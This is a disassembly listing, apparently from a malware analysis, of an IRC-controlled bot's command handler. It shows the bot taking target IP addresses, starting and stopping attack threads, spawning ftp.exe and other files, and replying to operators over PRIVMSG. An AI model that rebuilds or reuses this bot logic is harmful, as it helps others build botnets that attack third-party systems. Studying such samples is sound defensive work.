.text:0040201B      cmp    byte ptr [eax], 0
.text:0040201E      jz     short loc_402035
.text:00402020      push   4
.text:00402022      push   dword ptr [ebp-0CA4h]
.text:00402028      call   sub_4040AF
.text:0040202D      add     esp, 8
.text:00402030      cmp    byte ptr [eax], 0
.text:00402033      jnz    short loc_40203A
.text:00402035      loc_402035:                                ; CODE XREF: sub_40156D+A9C.j
                                                    ; sub_40156D+AB1.j
.text:00402035      jmp    loc_402AAF
.text:0040203A ; -----
.text:0040203A      loc_40203A:                                ; CODE XREF: sub_40156D+AC6.j
.text:0040203A      cmp    dword ptr [ebp-0CE0h], 0
.text:00402041      jnz    loc_402AAF
.text:00402047      push   2
.text:00402049      push   dword ptr [ebp-0CA4h]
.text:0040204F      call   sub_4040AF
.text:00402054      push   eax
.text:00402055      call   atoi
.text:0040205A      add     esp, 0Ch
.text:0040205D      mov    edi, eax
.text:0040205F      mov    eax, 3E8h
.text:00402064      mul    edi

```

```

.text:00402066      mov     [ebp-0FE0h], eax
.text:0040206C      mov     [ebp-0CECh], eax
.text:00402072      mov     dword ptr [ebp-0CE8h], 0Ah
.text:0040207C      mov     dword ptr [ebp-0CE4h], 3E8h
.text:00402086      mov     ecx, 64h
.text:0040208B      xor     edi, edi
.text:0040208D      lea    eax, [ebp-0E80h]
.text:00402093      xchg   eax, edi
.text:00402094      repe  stosd
.text:00402096      mov     dword ptr [ebp-0E88h], 7
.text:004020A0      jmp     short loc_4020BF
.text:004020A2      ; -----
.text:004020A2      loc_4020A2:                                     ; CODE XREF: sub_40156D+B69*j
.text:004020A2      push   offset unk_406000 ; cp
.text:004020A2      call   inet_addr
.text:004020A7      mov     edi, [ebp+var_E88]
.text:004020B2      mov     [ebp+edi*4+var_E9C], eax
.text:004020B9      inc     [ebp+var_E88]
.text:004020BF      loc_4020BF:                                     ; CODE XREF: sub_40156D+B33*j
.text:004020BF      push   [ebp+var_E88]
.text:004020C5      push   [ebp+var_CA4]
.text:004020CB      call   sub_4040AF
.text:004020D0      add     esp, 8
.text:004020D3      cmp     byte ptr [eax], 0
.text:004020D6      jnz    short loc_4020A2
.text:004020D8      mov     edi, [ebp+var_E88]
.text:004020DE      mov     [ebp+edi*4+var_E9C], 0
.text:004020E9      mov     [ebp+var_CE0], 1
.text:004020F3      cmp     [ebp+hObject], 0
.text:004020FA      jz     short loc_402107
.text:004020FC      push   [ebp+hObject] ; hObject
.text:00402102      call   CloseHandle
.text:00402107      loc_402107:                                     ; CODE XREF: sub_40156D+B8D*j
.text:00402107      lea    eax, [ebp+var_FC8]
.text:0040210D      push   eax ; lpThreadId
.text:0040210E      push   0 ; dwCreationFlags
.text:00402110      lea    eax, [ebp+var_E80]
.text:00402116      push   eax ; lpParameter
.text:00402117      push   offset sub_403022 ; lpStartAddress
.text:0040211C      push   0 ; dwStackSize
.text:0040211E      push   0 ; lpThreadAttributes
.text:00402120      call   CreateThread
.text:00402125      mov     [ebp+hObject], eax
.text:0040212B      jmp     loc_402AAF
.text:00402130      ; -----
.text:00402130      loc_402130:                                     ; DATA XREF: .data:0040822C*o
.text:00402130      mov     eax, dword_4081D8
.text:00402135      cmp     [ebp-414h], eax
.text:0040213B      jnz    short loc_402152
.text:0040213D      lea    eax, [ebp-50Ch]
.text:00402143      push   eax
.text:00402144      call   sub_403C0A
.text:00402149      pop    ecx
.text:0040214A      or     eax, eax
.text:0040214C      jnz    loc_402AAF
.text:00402152      loc_402152:                                     ; CODE XREF: sub_40156D+BCE*j
.text:00402152      mov     eax, dword_4081D8
.text:00402157      cmp     [ebp-414h], eax
.text:0040215D      jz     short loc_40217D
.text:0040215F      lea    eax, [ebp-584h]
.text:00402165      push   eax
.text:00402166      lea    eax, [ebp-50Ch]
.text:0040216C      push   eax
.text:0040216D      call   _strcmpi
.text:00402172      add     esp, 8

```



```

.text:00402175      or      eax, eax
.text:00402177      jz      loc_402AAF
.text:0040217D      loc_40217D:                                ; CODE XREF: sub_40156D+BF0•j
.text:0040217D      push   2
.text:0040217F      push   dword ptr [ebp-0CA4h]
.text:00402185      call   sub_4040AF
.text:0040218A      add    esp, 8
.text:0040218D      cmp    byte ptr [eax], 0
.text:00402190      jz     short loc_4021D1
.text:00402192      push   3
.text:00402194      push   dword ptr [ebp-0CA4h]
.text:0040219A      call   sub_4040AF
.text:0040219F      add    esp, 8
.text:004021A2      cmp    byte ptr [eax], 0
.text:004021A5      jz     short loc_4021D1
.text:004021A7      push   4
.text:004021A9      push   dword ptr [ebp-0CA4h]
.text:004021AF      call   sub_4040AF
.text:004021B4      add    esp, 8
.text:004021B7      cmp    byte ptr [eax], 0
.text:004021BA      jz     short loc_4021D1
.text:004021BC      push   5
.text:004021BE      push   dword ptr [ebp-0CA4h]
.text:004021C4      call   sub_4040AF
.text:004021C9      add    esp, 8
.text:004021CC      cmp    byte ptr [eax], 0
.text:004021CF      jnz    short loc_4021D6
.text:004021D1      loc_4021D1:                                ; CODE XREF: sub_40156D+C23•j
.text:004021D1      ; sub_40156D+C38•j ...
.text:004021D1      jmp    loc_402AAF
.text:004021D6      ; -----
.text:004021D6      loc_4021D6:                                ; CODE XREF: sub_40156D+C62•j
.text:004021D6      cmp    dword ptr [ebp-0CE0h], 0
.text:004021DD      jnz    loc_402AAF
.text:004021E3      mov    ecx, 6Bh
.text:004021E8      xor    edi, edi
.text:004021EA      lea   eax, [ebp-0E80h]
.text:004021F0      xchg  eax, edi
.text:004021F1      repe stosd
.text:004021F3      push  2
.text:004021F5      push  dword ptr [ebp-0CA4h]
.text:004021FB      call  sub_4040AF
.text:00402200      push  eax
.text:00402201      call  atoi
.text:00402206      mov   edi, eax
.text:00402208      mov   eax, 3E8h
.text:0040220D      mul   edi
.text:0040220F      mov   [ebp-0FE0h], eax
.text:00402215      mov   [ebp-0CECh], eax
.text:0040221B      mov   dword ptr [ebp-0CE8h], 32h
.text:00402225      push  3
.text:00402227      push  dword ptr [ebp-0CA4h]
.text:0040222D      call  sub_4040AF
.text:00402232      push  eax
.text:00402233      call  atoi
.text:00402238      mov   [ebp-0CDCh], eax
.text:0040223E      push  4
.text:00402240      push  dword ptr [ebp-0CA4h]
.text:00402246      call  sub_4040AF
.text:0040224B      push  eax
.text:0040224C      call  atoi
.text:00402251      mov   [ebp-0CD8h], eax
.text:00402257      push  5
.text:00402259      push  dword ptr [ebp-0CA4h]
.text:0040225F      call  sub_4040AF
.text:00402264      add   esp, 2Ch
.text:00402267      push  eax

```

```

.text:00402268      call     inet_addr
.text:0040226D      mov     [ebp+var_CF0], eax
.text:00402273      mov     [ebp+var_CE0], 1
.text:0040227D      cmp     [ebp+var_FB8], 0
.text:00402284      jz     short loc_402291
.text:00402286      push   [ebp+var_FB8] ; hObject
.text:0040228C      call   CloseHandle
.text:00402291      loc_402291:
.text:00402291      ; CODE XREF: sub_40156D+D17*j
.text:00402291      lea   eax, [ebp+var_FCC]
.text:00402297      push  eax ; lpThreadId
.text:00402298      push  0 ; dwCreationFlags
.text:0040229A      lea   eax, [ebp+var_E80]
.text:004022A0      push  eax ; lpParameter
.text:004022A1      push  offset sub_4031E3 ; lpStartAddress
.text:004022A6      push  0 ; dwStackSize
.text:004022A8      push  0 ; lpThreadAttributes
.text:004022AA      call  CreateThread
.text:004022AF      mov   [ebp+var_FB8], eax
.text:004022B5      jmp   loc_402AAF
.text:004022BA      ; -----
.text:004022BA      loc_4022BA:
.text:004022BA      ; DATA XREF: .data:00408230*o
.text:004022BA      cmp   dword ptr [ebp-0FB4h], 0
.text:004022C1      jz   short loc_4022EE
.text:004022C3      cmp   dword ptr [ebp-0CE0h], 0
.text:004022CA      jz   short loc_4022EE
.text:004022CC      push  1
.text:004022CE      push  dword ptr [ebp-0FB4h]
.text:004022D4      call  TerminateThread
.text:004022D9      push  [ebp+hObject] ; hObject
.text:004022DF      call  CloseHandle
.text:004022E4      mov   [ebp+hObject], 0
.text:004022EE      loc_4022EE:
.text:004022EE      ; CODE XREF: sub_40156D+D54*j
.text:004022EE      ; sub_40156D+D5D*j
.text:004022EE      mov   [ebp+var_CE0], 0
.text:004022F8      jmp   loc_402AAF
.text:004022FD      ; -----
.text:004022FD      loc_4022FD:
.text:004022FD      ; DATA XREF: .data:00408234*o
.text:004022FD      cmp   dword ptr [ebp-0FB8h], 0
.text:00402304      jz   short loc_402331
.text:00402306      cmp   dword ptr [ebp-0CE0h], 0
.text:0040230D      jz   short loc_402331
.text:0040230F      push  1
.text:00402311      push  dword ptr [ebp-0FB8h]
.text:00402317      call  TerminateThread
.text:0040231C      push  [ebp+var_FB8] ; hObject
.text:00402322      call  CloseHandle
.text:00402327      mov   [ebp+var_FB8], 0
.text:00402331      loc_402331:
.text:00402331      ; CODE XREF: sub_40156D+D97*j
.text:00402331      ; sub_40156D+DA0*j
.text:00402331      mov   [ebp+var_CE0], 0
.text:0040233B      jmp   loc_402AAF
.text:00402340      ; -----
.text:00402340      loc_402340:
.text:00402340      ; DATA XREF: .data:00408238*o
.text:00402340      mov   eax, dword_4081D8
.text:00402345      cmp   [ebp-414h], eax
.text:0040234B      jz   loc_402AAF
.text:00402351      push  2
.text:00402353      push  dword ptr [ebp-0CA4h]
.text:00402359      call  sub_4040AF
.text:0040235E      add   esp, 8
.text:00402361      mov   esi, eax
.text:00402363      cmp   byte ptr [esi], 0
.text:00402366      jz   loc_402AAF
.text:0040236C      push  77h

```

```

.text:0040236E      push     esi
.text:0040236F      lea     eax, [ebp-584h]
.text:00402375      push     eax
.text:00402376      call    strncpy
.text:0040237B      add     esp, 0Ch
.text:0040237E      lea     eax, [ebp-584h]
.text:00402384      push     eax
.text:00402385      push     offset aNickS ; "NICK %s\n"
.text:0040238A      lea     eax, [ebp+buf]
.text:00402390      push     eax
.text:00402391      call    sprintf
.text:00402396      add     esp, 0Ch
.text:00402399      xor     esi, esi
.text:0040239B      mov     [ebp+var_418], esi
.text:004023A1      jmp     loc_402AAF
.text:004023A6      ; -----
.text:004023A6      loc_4023A6: ; DATA XREF: .data:0040823C•o
.text:004023A6      mov     eax, dword_4081D8
.text:004023AB      cmp     [ebp-414h], eax
.text:004023B1      jz     loc_402AAF
.text:004023B7      mov     dword ptr [ebp-418h], 1
.text:004023C1      jmp     loc_402AAF
.text:004023C6      ; -----
.text:004023C6      loc_4023C6: ; DATA XREF: .data:00408240•o
.text:004023C6      lea     eax, [ebp-0CC1h]
.text:004023CC      push     eax
.text:004023CD      push     offset aPrivmsgSReadyA ; "PRIVMSG %s :ready and willing...
\n"
.text:004023D2      lea     eax, [ebp+buf]
.text:004023D8      push     eax
.text:004023D9      call    sprintf
.text:004023DE      add     esp, 0Ch
.text:004023E1      mov     [ebp+var_CCC], 1
.text:004023EB      jmp     loc_402AAF
.text:004023F0      ; -----
.text:004023F0      loc_4023F0: ; DATA XREF: .data:00408244•o
.text:004023F0      lea     eax, [ebp-0CC1h]
.text:004023F6      push     eax
.text:004023F7      push     offset aPrivmsgSNoMore ; "PRIVMSG %s :no more...\n"
.text:004023FC      lea     eax, [ebp+buf]
.text:00402402      push     eax
.text:00402403      call    sprintf
.text:00402408      add     esp, 0Ch
.text:0040240B      mov     [ebp+var_CCC], 0
.text:00402415      jmp     loc_402AAF
.text:0040241A      ; -----
.text:0040241A      loc_40241A: ; DATA XREF: .data:00408248•o
.text:0040241A      push     0FFFFFFEh
.text:0040241C      push     dword ptr [ebp-0CA4h]
.text:00402422      call    sub_4040AF
.text:00402427      push     eax
.text:00402428      call    sub_404195
.text:0040242D      add     esp, 0Ch
.text:00402430      or     eax, eax
.text:00402432      jnz    short loc_402454
.text:00402434      lea     eax, [ebp-0CC1h]
.text:0040243A      push     eax
.text:0040243B      push     offset aPrivmsgSCouldn ; "PRIVMSG %s :couldn't spawn ftp.
exe\n"
.text:00402440      lea     eax, [ebp+buf]
.text:00402446      push     eax
.text:00402447      call    sprintf
.text:0040244C      add     esp, 0Ch
.text:0040244F      jmp     loc_402AAF
.text:00402454      ; -----
.text:00402454

```

```

.text:00402454 loc_402454:                                ; CODE XREF: sub_40156D+EC5*j
.text:00402454     lea     eax, [ebp+var_CC1]
.text:0040245A     push    eax
.text:0040245B     push    offset aPrivmsgSSucces ; "PRIVMSG %s :successfully spawned
ftp.ex"...
.text:00402460     lea     eax, [ebp+buf]
.text:00402466     push    eax
.text:00402467     call   sprintf
.text:0040246C     add     esp, 0Ch
.text:0040246F     jmp     loc_402AAF
.text:00402474 ; -----
.text:00402474 loc_402474:                                ; DATA XREF: .data:0040824C*o
.text:00402474     push    0FFFFFFEh
.text:00402476     push    dword ptr [ebp-0CA4h]
.text:0040247C     call   sub_4040AF
.text:00402481     add     esp, 8
.text:00402484     push    eax
.text:00402485     call   sub_40421B
.text:0040248A     or      eax, eax
.text:0040248C     jnz    loc_4024AE
.text:0040248E     lea     eax, [ebp+var_CC1]
.text:00402494     push    eax
.text:00402495     push    offset aPrivmsgSCoul_0 ; "PRIVMSG %s :couldn't spawn file\
n"
.text:0040249A     lea     eax, [ebp+buf]
.text:004024A0     push    eax
.text:004024A1     call   sprintf
.text:004024A6     add     esp, 0Ch
.text:004024A9     jmp     loc_402AAF
.text:004024AE ; -----
.text:004024AE loc_4024AE:                                ; CODE XREF: sub_40156D+F1F*j
.text:004024AE     lea     eax, [ebp+var_CC1]
.text:004024B4     push    eax
.text:004024B5     push    offset aPrivmsgSOk__Ru ; "PRIVMSG %s :ok.. running\n"
.text:004024BA     lea     eax, [ebp+buf]
.text:004024C0     push    eax
.text:004024C1     call   sprintf
.text:004024C6     add     esp, 0Ch
.text:004024C9     jmp     loc_402AAF
.text:004024CE ; -----
.text:004024CE loc_4024CE:                                ; DATA XREF: .data:00408250*o
.text:004024CE     cmp     dword ptr [ebp-0EB8h], 0
.text:004024D5     jnz    loc_402AAF
.text:004024DB     push    2
.text:004024DD     push    dword ptr [ebp-0CA4h]
.text:004024E3     call   sub_4040AF
.text:004024E8     push    77h
.text:004024EA     push    eax
.text:004024EB     lea     edi, [ebp-0F30h]
.text:004024F1     push    edi
.text:004024F2     call   strncpy
.text:004024F7     push    0FFFFFFDh
.text:004024F9     push    dword ptr [ebp-0CA4h]
.text:004024FF     call   sub_4040AF
.text:00402504     push    77h
.text:00402506     push    eax
.text:00402507     lea     edi, [ebp-0FA8h]
.text:0040250D     push    edi
.text:0040250E     call   strncpy
.text:00402513     add     esp, 28h
.text:00402516     mov     byte ptr [ebp-0EB9h], 0
.text:0040251D     mov     byte ptr [ebp-0F31h], 0
.text:00402524     cmp     byte ptr [ebp-0FA8h], 0
.text:0040252B     jz     short loc_402536
.text:0040252D     cmp     byte ptr [ebp-0F30h], 0
.text:00402534     jnz    short loc_40253B
.text:00402536

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.text:00402536 loc_402536:                                ; CODE XREF: sub_40156D+FBE*j
.text:00402536                                     jmp     loc_402AAF
.text:0040253B ; -----
.text:0040253B loc_40253B:                                ; CODE XREF: sub_40156D+FC7*j
.text:0040253B     cmp     dword ptr [ebp-0FBCh], 0
.text:00402542     jz      short loc_40254F
.text:00402544     push   dword ptr [ebp-0FBCh]
.text:0040254A     call   CloseHandle
.text:0040254F loc_40254F:                                ; CODE XREF: sub_40156D+FD5*j
.text:0040254F     lea   eax, [ebp+var_FD0]
.text:00402555     push   eax                                ; lpThreadId
.text:00402556     push   0                                ; dwCreationFlags
.text:00402558     lea   eax, [ebp+var_FA8]
.text:0040255E     push   eax                                ; lpParameter
.text:0040255F     push   offset sub_40156D ; lpStartAddress
.text:00402564     push   0                                ; dwStackSize
.text:00402566     push   0                                ; lpThreadAttributes
.text:00402568     call   CreateThread
.text:0040256D     mov   [ebp+var_FBC], eax
.text:00402573     mov   [ebp+var_EB8], 1
.text:0040257D     jmp   loc_402AAF
.text:00402582 ; -----
.text:00402582 loc_402582:                                ; DATA XREF: .data:00408254*o
.text:00402582     cmp   dword ptr [ebp-0FBCh], 0
.text:00402589     jz      short loc_4025B6
.text:0040258B     cmp   dword ptr [ebp-0EB8h], 0
.text:00402592     jz      short loc_4025B6
.text:00402594     push   1
.text:00402596     push   dword ptr [ebp-0FBCh]
.text:0040259C     call   TerminateThread
.text:004025A1     push   [ebp+var_FBC] ; hObject
.text:004025A7     call   CloseHandle
.text:004025AC     mov   [ebp+var_FBC], 0
.text:004025B6 loc_4025B6:                                ; CODE XREF: sub_40156D+101C*j
.text:004025B6                                     ; sub_40156D+1025*j
.text:004025B6     mov   [ebp+var_EB8], 0
.text:004025C0     jmp   loc_402AAF
.text:004025C5 ; -----
.text:004025C5 loc_4025C5:                                ; DATA XREF: .data:00408258*o
.text:004025C5     mov   eax, dword_4081D8
.text:004025CA     cmp   [ebp-414h], eax
.text:004025D0     jnz   short loc_4025E7
.text:004025D2     lea   eax, [ebp-50Ch]
.text:004025D8     push   eax
.text:004025D9     call   sub_403C0A
.text:004025DE     pop   ecx
.text:004025DF     or    eax, eax
.text:004025E1     jnz   loc_402AAF
.text:004025E7 loc_4025E7:                                ; CODE XREF: sub_40156D+1063*j
.text:004025E7     mov   eax, dword_4081D8
.text:004025EC     cmp   [ebp-414h], eax
.text:004025F2     jz    short loc_402612
.text:004025F4     lea   eax, [ebp-584h]
.text:004025FA     push   eax
.text:004025FB     lea   eax, [ebp-50Ch]
.text:00402601     push   eax
.text:00402602     call   _strcmpi
.text:00402607     add   esp, 8
.text:0040260A     or    eax, eax
.text:0040260C     jz    loc_402AAF
.text:00402612 loc_402612:                                ; CODE XREF: sub_40156D+1085*j
.text:00402612     push   8
.text:00402614     push   2

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.text:00402616      call     sub_403B66
.text:0040261B      push    eax
.text:0040261C      lea    edi, [ebp-584h]
.text:00402622      push    edi
.text:00402623      call   sub_403BB4
.text:00402628      lea    eax, [ebp-584h]
.text:0040262E      push    eax
.text:0040262F      push    offset aNickS ; "NICK %s\n"
.text:00402634      lea    eax, [ebp+buf]
.text:0040263A      push    eax
.text:0040263B      call   sprintf
.text:00402640      add    esp, 1Ch
.text:00402643      jmp    loc_402AAF
.text:00402648      ; -----
.text:00402648      loc_402648:                                ; DATA XREF: .data:00408260.o
.text:00402648      mov    eax, dword_4081D8
.text:0040264D      cmp    [ebp-414h], eax
.text:00402653      jz     short loc_402662
.text:00402655      mov    eax, dword_4081E0
.text:0040265A      cmp    [ebp-414h], eax
.text:00402660      jnz    short loc_402667
.text:00402662      loc_402662:                                ; CODE XREF: sub_40156D+10E6.j
.text:00402662      jmp    loc_402AAF
.text:00402667      ; -----
.text:00402667      loc_402667:                                ; CODE XREF: sub_40156D+10F3.j
.text:00402667      cmp    dword ptr [ebp-0CC8h], 0
.text:0040266E      jz     short loc_40267B
.text:00402670      push   dword ptr [ebp-0CC8h]
.text:00402676      call   SuspendThread
.text:0040267B      loc_40267B:                                ; CODE XREF: sub_40156D+1101.j
.text:0040267B      mov    eax, dword_4081E0
.text:00402680      mov    [ebp+var_414], eax
.text:00402686      cmp    [ebp+var_CD4], 0
.text:0040268D      jz     loc_402AAF
.text:00402693      push   [ebp+var_CD4] ; hThread
.text:00402699      call   ResumeThread
.text:0040269E      jmp    loc_402AAF
.text:004026A3      ; -----
.text:004026A3      loc_4026A3:                                ; DATA XREF: .data:00408264.o
.text:004026A3      mov    eax, dword_4081D8
.text:004026A8      cmp    [ebp-414h], eax
.text:004026AE      jz     short loc_4026BD
.text:004026B0      mov    eax, dword_4081DC
.text:004026B5      cmp    [ebp-414h], eax
.text:004026BB      jnz    short loc_4026C2
.text:004026BD      loc_4026BD:                                ; CODE XREF: sub_40156D+1141.j
.text:004026BD      jmp    loc_402AAF
.text:004026C2      ; -----
.text:004026C2      loc_4026C2:                                ; CODE XREF: sub_40156D+114E.j
.text:004026C2      cmp    dword ptr [ebp-0CD4h], 0
.text:004026C9      jz     short loc_4026D6
.text:004026CB      push   dword ptr [ebp-0CD4h]
.text:004026D1      call   SuspendThread
.text:004026D6      loc_4026D6:                                ; CODE XREF: sub_40156D+115C.j
.text:004026D6      mov    [ebp+var_41C], 1
.text:004026E0      mov    eax, dword_4081DC
.text:004026E5      mov    [ebp+var_414], eax
.text:004026EB      cmp    [ebp+var_CC8], 0
.text:004026F2      jz     loc_402AAF
.text:004026F8      push   [ebp+var_CC8] ; hThread
.text:004026FE      call   ResumeThread
.text:00402703      jmp    loc_402AAF

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.text:00402708 ; -----
.text:00402708
.text:00402708 loc_402708: ; DATA XREF: .data:00408268.o
.text:00402708 mov eax, dword_4081D8
.text:0040270D cmp [ebp-414h], eax
.text:00402713 jz loc_402AAF
.text:00402719 mov eax, dword_4081DC
.text:0040271E cmp [ebp-414h], eax
.text:00402724 jnz short loc_40273C
.text:00402726 cmp dword ptr [ebp-0CC8h], 0
.text:0040272D jz short loc_40273C
.text:0040272F push dword ptr [ebp-0CC8h]
.text:00402735 call SuspendThread
.text:0040273A jmp short loc_40275D ; hThread
.text:0040273C ; -----
.text:0040273C loc_40273C: ; CODE XREF: sub_40156D+11B7.j
.text:0040273C ; sub_40156D+11C0.j
.text:0040273C mov eax, dword_4081E0
.text:00402741 cmp [ebp+var_414], eax
.text:00402747 jnz short loc_40275D
.text:00402749 cmp [ebp+var_CD4], 0
.text:00402750 jz short loc_40275D
.text:00402752 push [ebp+var_CD4] ; hThread
.text:00402758 call SuspendThread
.text:0040275D loc_40275D: ; CODE XREF: sub_40156D+11CD.j
.text:0040275D ; sub_40156D+11DA.j ...
.text:0040275D mov eax, dword_4081D8
.text:00402762 mov [ebp+var_414], eax
.text:00402768 mov [ebp+var_41C], 1
.text:00402772 cmp [ebp+hThread], 0
.text:00402779 jz loc_402AAF
.text:0040277F push [ebp+hThread] ; hThread
.text:00402785 call ResumeThread
.text:0040278A jmp loc_402AAF
.text:0040278F ; -----
.text:0040278F loc_40278F: ; DATA XREF: .data:0040826C.o
.text:0040278F mov eax, dword_4081D8
.text:00402794 cmp [ebp-414h], eax
.text:0040279A jnz loc_402AAF
.text:004027A0 cmp dword ptr [ebp-0CA8h], 0
.text:004027A7 jz short loc_4027B4
.text:004027A9 push dword ptr [ebp-0CA8h]
.text:004027AF call SuspendThread
.text:004027B4 loc_4027B4: ; CODE XREF: sub_40156D+123A.j
.text:004027B4 mov eax, dword_4081DC
.text:004027B9 mov [ebp+var_414], eax
.text:004027BF mov [ebp+var_41C], 1
.text:004027C9 cmp [ebp+var_CC8], 0
.text:004027D0 jz loc_402AAF
.text:004027D6 push [ebp+var_CC8] ; hThread
.text:004027DC call ResumeThread
.text:004027E1 jmp loc_402AAF
.text:004027E6 ; -----
.text:004027E6 loc_4027E6: ; DATA XREF: .data:00408270.o
.text:004027E6 mov eax, dword_4081D8
.text:004027EB cmp [ebp-414h], eax
.text:004027F1 jnz short loc_402808
.text:004027F3 lea eax, [ebp-50Ch]
.text:004027F9 push eax
.text:004027FA call sub_403C0A
.text:004027FF pop ecx
.text:00402800 or eax, eax
.text:00402802 jnz loc_402AAF
.text:00402808 loc_402808: ; CODE XREF: sub_40156D+1284.j

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.text:00402808      mov     eax, dword_4081D8
.text:0040280D      cmp     [ebp-414h], eax
.text:00402813      jz     short loc_402833
.text:00402815      lea    eax, [ebp-584h]
.text:0040281B      push   eax
.text:0040281C      lea    eax, [ebp-50Ch]
.text:00402822      push   eax
.text:00402823      call  _strcmpi
.text:00402828      add    esp, 8
.text:0040282B      or     eax, eax
.text:0040282D      jz     loc_402AAF
.text:00402833      loc_402833:                                     ; CODE XREF: sub_40156D+12A6*j
.text:00402833      push   2
.text:00402835      push   dword ptr [ebp-0CA4h]
.text:0040283B      call  sub_4040AF
.text:00402840      add    esp, 8
.text:00402843      mov    esi, eax
.text:00402845      cmp    byte ptr [esi], 0
.text:00402848      jz     short loc_4028B4
.text:0040284A      lea    ecx, [esi]
.text:0040284C      or     eax, 0FFFFFFFFh
.text:0040284F      loc_40284F:                                     ; CODE XREF: sub_40156D+12E7*j
.text:0040284F      inc    eax
.text:00402850      cmp    byte ptr [ecx+eax], 0
.text:00402854      jnz   short loc_40284F
.text:00402856      cmp    eax, 0C8h
.text:0040285B      jnb   short loc_4028B4
.text:0040285D      call  GetTickCount
.text:00402862      push   eax
.text:00402863      call  srand
.text:00402868      add    esp, 4
.text:0040286B      mov    dword ptr [ebp-4], 0
.text:00402872      jmp    short loc_402896
.text:00402874      ; -----
.text:00402874      loc_402874:                                     ; CODE XREF: sub_40156D+1330*j
.text:00402874      mov    eax, [ebp-4]
.text:00402877      cmp    byte ptr [esi+eax], 21h
.text:0040287B      jnz   short loc_402893
.text:0040287D      call  rand
.text:00402882      mov    edi, [ebp-4]
.text:00402885      mov    ecx, 39h
.text:0040288A      cdq
.text:0040288B      idiv  ecx
.text:0040288D      add    edx, 41h
.text:00402890      mov    [esi+edi], dl
.text:00402893      loc_402893:                                     ; CODE XREF: sub_40156D+130E*j
.text:00402893      inc    dword ptr [ebp-4]
.text:00402896      loc_402896:                                     ; CODE XREF: sub_40156D+1305*j
.text:00402896      mov    eax, [ebp-4]
.text:00402899      cmp    byte ptr [esi+eax], 0
.text:0040289D      jnz   short loc_402874
.text:0040289F      push   esi
.text:004028A0      push   offset aNickS_0 ; "NICK :%s\n"
.text:004028A5      lea    eax, [ebp+buf]
.text:004028AB      push   eax
.text:004028AC      call  sprintf
.text:004028B1      add    esp, 0Ch
.text:004028B4      loc_4028B4:                                     ; CODE XREF: sub_40156D+12DB*j
                                                    ; sub_40156D+12EE*j
.text:004028B4      xor    esi, esi
.text:004028B6      jmp    loc_402AAF
.text:004028BB      ; -----
.text:004028BB      loc_4028BB:                                     ; DATA XREF: .data:00408274*o

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.text:004028BB      lea     eax, [ebp-7F0h]
.text:004028C1      push   eax
.text:004028C2      lea     eax, [ebp-584h]
.text:004028C8      push   eax
.text:004028C9      push   offset unk_406400
.text:004028CE      call   sub_403769
.text:004028D3      add     esp, 0Ch
.text:004028D6      jmp     loc_402AAF
.text:004028DB      ; -----
.text:004028DB      loc_4028DB:                                     ; DATA XREF: .data:0040827C•o
.text:004028DB      push   2
.text:004028DD      push   dword ptr [ebp-0CA4h]
.text:004028E3      call   sub_4040AF
.text:004028E8      add     esp, 8
.text:004028EB      mov     esi, eax
.text:004028ED      cmp     byte ptr [esi], 0
.text:004028F0      jz     short loc_402947
.text:004028F2      push   77h
.text:004028F4      push   esi
.text:004028F5      lea     eax, [ebp-494h]
.text:004028FB      push   eax
.text:004028FC      call   strncpy
.text:00402901      add     esp, 0Ch
.text:00402904      mov     byte ptr [ebp-41Dh], 0
.text:0040290B      mov     dword ptr [ebp-4], 0
.text:00402912      jmp     short loc_40292F
.text:00402914      ; -----
.text:00402914      loc_402914:                                     ; CODE XREF: sub_40156D+13D8•j
.text:00402914      mov     eax, [ebp-4]
.text:00402917      cmp     byte ptr [ebp+eax-493h], 2
.text:0040291F      jnz    short loc_40292C
.text:00402921      mov     eax, [ebp-4]
.text:00402924      mov     byte ptr [ebp+eax-493h], 20h
.text:0040292C      loc_40292C:                                     ; CODE XREF: sub_40156D+13B2•j
.text:0040292C      inc     dword ptr [ebp-4]
.text:0040292F      loc_40292F:                                     ; CODE XREF: sub_40156D+13A5•j
.text:0040292F      lea     ecx, [ebp-494h]
.text:00402935      or      eax, 0FFFFFFFFh
.text:00402938      loc_402938:                                     ; CODE XREF: sub_40156D+13D0•j
.text:00402938      inc     eax
.text:00402939      cmp     byte ptr [ecx+eax], 0
.text:0040293D      jnz    short loc_402938
.text:0040293F      sub     eax, 1
.text:00402942      cmp     [ebp-4], eax
.text:00402945      jb     short loc_402914
.text:00402947      loc_402947:                                     ; CODE XREF: sub_40156D+1383•j
.text:00402947      xor     esi, esi
.text:00402949      jmp     loc_402AAF
.text:0040294E      ; -----
.text:0040294E      loc_40294E:                                     ; DATA XREF: .data:00408280•o
.text:0040294E      push   2
.text:00402950      push   dword ptr [ebp-0CA4h]
.text:00402956      call   sub_4040AF
.text:0040295B      add     esp, 8
.text:0040295E      mov     esi, eax
.text:00402960      cmp     byte ptr [esi], 0
.text:00402963      jz     short loc_4029BA
.text:00402965      push   77h
.text:00402967      push   esi
.text:00402968      lea     eax, [ebp-67Ch]
.text:0040296E      push   eax
.text:0040296F      call   strncpy
.text:00402974      add     esp, 0Ch

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.text:00402977      mov     byte ptr [ebp-605h], 0
.text:0040297E      mov     dword ptr [ebp-4], 0
.text:00402985      jmp     short loc_4029A2
; -----
.text:00402987      loc_402987:                                     ; CODE XREF: sub_40156D+144B*j
.text:00402987      mov     eax, [ebp-4]
.text:0040298A      cmp     byte ptr [ebp+eax-67Bh], 2
.text:00402992      jnz     short loc_40299F
.text:00402994      mov     eax, [ebp-4]
.text:00402997      mov     byte ptr [ebp+eax-67Bh], 20h
.text:0040299F      loc_40299F:                                     ; CODE XREF: sub_40156D+1425*j
.text:0040299F      inc     dword ptr [ebp-4]
.text:004029A2      loc_4029A2:                                     ; CODE XREF: sub_40156D+1418*j
.text:004029A2      lea    ecx, [ebp-67Ch]
.text:004029A8      or     eax, 0FFFFFFFFh
.text:004029AB      loc_4029AB:                                     ; CODE XREF: sub_40156D+1443*j
.text:004029AB      inc     eax
.text:004029AC      cmp     byte ptr [ecx+eax], 0
.text:004029B0      jnz     short loc_4029AB
.text:004029B2      sub     eax, 1
.text:004029B5      cmp     [ebp-4], eax
.text:004029B8      jb     short loc_402987
.text:004029BA      loc_4029BA:                                     ; CODE XREF: sub_40156D+13F6*j
.text:004029BA      xor     esi, esi
.text:004029BC      jmp     loc_402AAF
; -----
.text:004029C1      loc_4029C1:                                     ; DATA XREF: .data:00408284*o
.text:004029C1      push   2
.text:004029C3      push   dword ptr [ebp-0CA4h]
.text:004029C9      call   sub_4040AF
.text:004029CE      add     esp, 8
.text:004029D1      mov     esi, eax
.text:004029D3      cmp     byte ptr [esi], 0
.text:004029D6      jz     short loc_4029E8
.text:004029D8      push   esi
